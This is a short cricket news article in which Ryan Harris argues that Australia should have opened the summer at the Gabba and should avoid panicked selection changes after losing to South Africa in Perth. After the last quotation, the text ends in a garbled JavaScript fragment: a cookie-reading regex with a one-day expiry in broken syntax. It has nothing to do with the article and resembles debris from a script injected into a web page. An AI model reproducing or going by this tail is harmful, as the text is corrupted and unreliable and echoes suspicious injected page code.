Harris: First Test should have been played the Gabba

Former Australian fast bowler Ryan Harris says the Aussies should have played the opening Test of the summer at the Gabba in Brisbane, rather than in Perth.

Australia has traditionally played the opening Test of the summer at the Gabba, however, this year opted to play the first Test against South Africa at the WACA.

Harris believes the Australians shot themselves in the foot by turning their back on the Gabba, which has become somewhat of a fortress in recent years, following the 177-run defeat to the Proteas last week.

"It's very unusual. It's foreign ground for us - we haven't done it for a long time," Harris said.

"That's what happens when you move away from the Gabba, where we have had so much success, which they probably shouldn't have done in the first place."

Instead, Australia will play a day-night Test at the Gabba against Pakistan in what will be the first Test of the three-match series.

However, unlike several other pundits, Harris suggested that the side should not undergo wholesales changes for the second Test.

"They let themselves down with the bat and as per usual everyone (in the media) panics," Harris said.

"The main thing is to keep stability in any side.

"You hear that you should drop that bloke or inject a new face. We don't need that.

"There is no need to panic. I am sure we will bounce back." "(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));(U[1]):"",();||void 0===time){/1e3+86400),.('')}